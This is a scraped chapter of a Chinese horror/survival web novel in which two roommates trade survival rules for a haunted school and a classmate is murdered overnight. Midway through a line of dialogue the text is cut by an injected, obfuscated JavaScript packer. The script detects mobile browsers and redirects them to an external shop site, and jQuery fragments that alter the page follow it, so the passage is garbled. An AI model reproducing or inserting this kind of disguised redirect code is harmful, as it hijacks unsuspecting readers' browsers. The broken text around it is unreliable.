文趣网 > 都市小说 > 她咬的都是我的储备粮 > 6. 雾山中学(6)
    危眠顺着她的手电筒看了一眼,慢吞吞道:“是吗?我看不见。”

    语毕她脑子空白地发了会儿愣,才慢半拍地拿出刚刚从诡异身上摸下来的牛皮卷轴:“先看看这这个吧。”

    徵枭低头对上光,随着卷轴缓慢拉开,几段猩红的大字映入眼帘——

    【牢笼018-欲望之门】

    一扇奇怪的门,通往明天?

    看见黑色的门不要进入。

    切勿迷失。

    ……

    危眠指尖蹭了蹭卷轴的字放到鼻尖:“人血——进档案室大概要先经过这扇门。”

    “明天再说吧。”徵枭看了眼危眠,感觉她受伤之后人也变得呆呆的。

    回宿舍的路上正巧遇见阳歌母女和吕涵一前一后从教学楼出来。母女两人身上都有些凌乱。见到危眠,阳筱筱擦了擦灰扑扑的脸,几步上前来:“姐姐,你们今天怎么样啦。我和妈妈今天去了好多地方。”

    “我们在办公楼找到了档案室,受了点伤。不过。”危眠顺手理了理她凌乱的碎发:“我们拿到了档案室的钥匙。今天太晚了,准备明天再进去看看。”

    “我今天基本在教学楼。我们那层我看见有一间教室的课桌上面刻了很多辱骂的词,被划掉了看不太清,有一个‘杀人犯’出现了很多次。”吕涵说到一半,话锋一转:“档案室应该可以查师生信息吧。”似乎是质疑过徵枭的原因,她视线从徵枭身上略过后没再敢往那边看。也便没注意到危眠说到不存在的钥匙时她脸上的破绽。

    危眠看起来十分犹豫。

    见没人说话,阳歌开口:“女生宿舍的诡异消失了。我们还找到食堂后面有个菜园,不过那里的菜不太正常……”她语气微顿,似乎不知道怎么形容,转而道:“剩下一个教学楼没什么线索。”

    话说着,几人走回到了宿舍门口。中午进办公楼之前危眠就已经避开人群把宿舍门打开了。她们畅通无阻地上楼,一路各怀心思没再有人说话。

    “我女儿很喜欢你。”分开前阳歌突然道。

    她神情有些复杂,犹豫过后还是道:“你的这位室友,她是攻略组的人吧?你如果想要陪她涉险,最少先等有异能了再说。”

    言尽于此,阳歌转身回房了。

    危眠愣了愣,眼神清澈地回望徵枭:“……什么意思?”

    徵枭抿了抿唇,关上宿舍门。

    “对不起。”

    “我之前跟你提过论坛生存攻略的事。国家针对突然出现的诡异列车成立了两个部门,分别是清理部门和攻略部门;清理部门像我之前说的,负责收集规则碎片,清理执念;攻略部门的人则反复进同一个隔离区,验证规则的真实性,整理成生存攻略在论坛发布,给普通人提供帮助。一般来说在公安机关检测完异能后,合适的异能都能够收到邀约,受邀方自愿加入。我是治疗和空间储存双异能,很早就加入了攻略部门。”

    “我之前负责的是另一个隔离区,但责任区在前段时间污染程度升级了,负责雾山中学隔离区的前辈又意外离世,我就被调任来了这里。这是我第一次进雾山中学。”

    “我们组有时候需要越线一点找到规则之外的生存办法,前辈的工作手册上记录过有一个人阴差阳错在教学楼睡了一晚没死,所以我第一天晚上没有回宿舍睡在了教学楼。但是没想到差点害死你。”

    她说到这有些沮丧地低下头:“之后我就一直跟着你,想保护你到这次站停时间结束……但是我好像没什么用。”

    “怎么会。”危眠纠正道:“烤兔子的时候你帮我撒盐了。”

    “……”徵枭差点破功。“规则除了第一、六条,其它前辈都已经验证过了是真正的规则,接下来只要不遇见那只猫,现有线索已经足够你活到站停时间结束,阳歌的意思是……你明天其实不用去档案室。”

    “那你为什么还要去?你只需要验证剩下两条规则就好了。”危眠却反问。

    “我……”徵枭愣住了,迷茫了一会儿,“现在清理部门已经没什么像样的小队了,因为封禁隔离区的困难程度相当之高,小队最长都活不到半年,与之相反攻略组这边获得了很大的成功,除了每个副本特定的攻略专员以外,普通人还可以通过副本线索获得积分,积分再兑换成道具、现金;收集到的线索再由攻略专员整合验证、录入发布,大大降低了死亡率。所以现在国家重点扶持攻略部门,已经很久没有成立新的清理小队了。”

    说到这里时空气异常安静,徵枭一字一句坚定道:“但我还想组建新的清理小队。”

    “所以,”她按耐住心中的失落,语气轻松地说:“你明天……”

    危眠唇角轻勾,打断她:“那你怎么还不问问,我想不想加入你的小队呢。”

    徵枭的眼神陡然一亮。

    对比徵枭高涨的情绪,危眠只是侧了侧首:“先洗漱吧。”

    只剩她们两个人的宿舍竟然显得空旷,危眠去厕所看了看,洗沐用具已经老旧报废了。只有洗漱间的水龙头间接还出点水。

    “我们接点水擦一擦吗。”徵枭问。

    她埋头在行李箱里翻了翻,终于找出两件T恤,递了一件出去:“你先穿这个。是我在上一个隔离区的超市买的,还没穿过。”说着又变戏法一样掏出水桶和牙膏牙刷。

    危眠接过来。擦拭完后她背过身去脱下上衣,身后徵枭突然短促地叫了一声。

    她疑惑回头,只见徵枭讶然盯着自己的后背。

    “你背上……做过手术?”

    危眠有些疑惑,走到洗漱间镜子前面看了看,是一条从脖子贯穿到腰部的细长缝合线。歪歪扭扭有些狰狞。

    “可能吧。”她并不记得,茫然了一会儿,换上衣服。

    两人洗漱完正好熄灯。

    半夜又被敲门声吵醒了。“是隔壁。”徵枭无声道。

    危眠醒得更早。她先是听见一阵脚步声,不急不慌,上次宿管过来敲门时的动静很大,这次不像是她,倒像是一个体重偏轻的······男性。

    隔壁住的吕涵。

    ……

    吕涵梦中惊醒,门外竟然传来大小姐的声音:“开门呀。”

    吕涵没有应,先检查了一下符箓,是完好的。她微微松了口气。

    见门内没有动静,外面的声音急切起来,尖锐又带着诱哄:“为什么不开门?你不是说你会一直保护我吗?”

    见鬼的保护。吕涵面色阴郁。这个见人,死了也不消停······

    门外的声音似乎意识到骗不来吕涵,顿了顿,突然语调微微上扬起来。

    “开下门

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812856|210939||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嘛。”它声音变得甜软。好像回到了八岁时她生气绝食的那个下午,大小姐带着她爱吃的蛋糕好脾气地敲门。

    “拿你没办法。”她像小时候一样:

    “那我自己进来咯。”

    咔哒。

    门口传来钥匙转动的声音——

    吕涵动不了了。

    她徒劳地挣扎,眼神中洋溢出不甘和惊恐,表情却是诡异的平静。她看着自己撕下床上的符箓。

    门被打开,那个东西一步一步走进来,稀薄的月光下,它的五官被略长的头发遮去大半。

    为什么?

    为什么会这样?

    她明明!没有触犯规则!

    不等她想明白,脖子上出现一道细长的白线,她瞪大眼睛,旋即血液喷涌而出,就这样无声无息倒在了床上。

    尸体的血溅了少许在床边的人脸上。它眯眼,没什么表情地擦掉了。

    她的双眼还死死瞪着来人,自下而上的角度透过细碎的头发,终于可以看见来人的全貌,如果还有思想,她一定可以认出来,这是她颇有印象的一张脸。

    敲门声过后半晌没有动静,不久便听到了隔壁宿舍门打开的声音。危眠心觉吕涵应该是死了。

    宿舍门外复响起脚步声,这一次的脚步声轻快了些许,走了几步,又在危眠宿舍门口停了下来。

    两人的心一时提到了嗓子眼。

    但门外的人并没有什么动作,他沉默地站在门口,仿佛和夜色融为一体,静待半晌,危眠困意袭来,又睡了过去。

    直到天亮。

    第二天的两人难得有了好气色。

    出门和阳歌母女碰上,她们两人正站在吕涵宿舍门口,显然也听到了昨晚的动静。

    “她死了。”阳歌淡淡道。

    吕涵就死在床上,脖子一刀致命。她的表情很平静,眼睛被挖了出来,干涸的血顺着眼角流到耳朵。

    “是个男的。”危眠蹲下身看了看,地上只有吕涵一个人的脚印,“像是美工刀。”

    符也被撕了。

    “先去上课吧。”不用和诡异共处一室的第一个晚上,几人都起得有些晚。预备铃已经响过一遍了。

    踩着上课铃声到教室,危眠不用上课,她准备在教学楼转转。

    教学楼每层七间教室,一共六楼。一楼是老师的办公室,但空无一人。危眠好奇他们没课时都在哪里,转到二楼便看见——他们和厨师,清洁工等一样,和同学挤在教室认真听着课。二楼尽头是一间心理咨询室,门锁着,危眠找了根细铁丝撬开锁,门依旧打不开。

    二到五层二十八间教室原本被坐得满满当当,但在女生宿舍团灭后每间教室已然空荡起来。危眠一一看过去,路过走廊两侧尽头的厕所,灯坏了,便没有贸然进去。六楼是机房和图书馆,门窗紧锁,走廊落了一层的灰。除此一扇通往天台的封闭的大门。

    这边徵枭昏昏沉沉一堂数学课过去,第二节课的老师是个两米六每天上课都要弓着背的长发中年女子,而她早在昨天就已经不幸离世。

    没有人来上课,徵枭扯了个哈欠,伸手从怀里掏出工作手册,教室门突然被打开。

    只见早上还是一具尸体的吕涵站在门口温顺一笑。

    “大家好,我是你们新任历史老师。”